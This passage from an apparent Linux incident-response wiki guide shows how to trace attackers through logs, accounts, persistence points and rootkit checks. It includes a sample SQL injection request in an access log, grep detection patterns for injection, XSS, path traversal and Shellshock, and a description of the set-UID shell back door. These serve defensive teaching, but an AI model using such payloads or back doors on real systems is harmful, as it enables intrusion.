&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with the big picture, then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine before you trust them)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves someone &#039;&#039;tried&#039;&#039;. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (noisy: review, don&#039;t assume)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0: should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence: a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;, not a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, not the main method. Treat their output as leads:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof of health.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
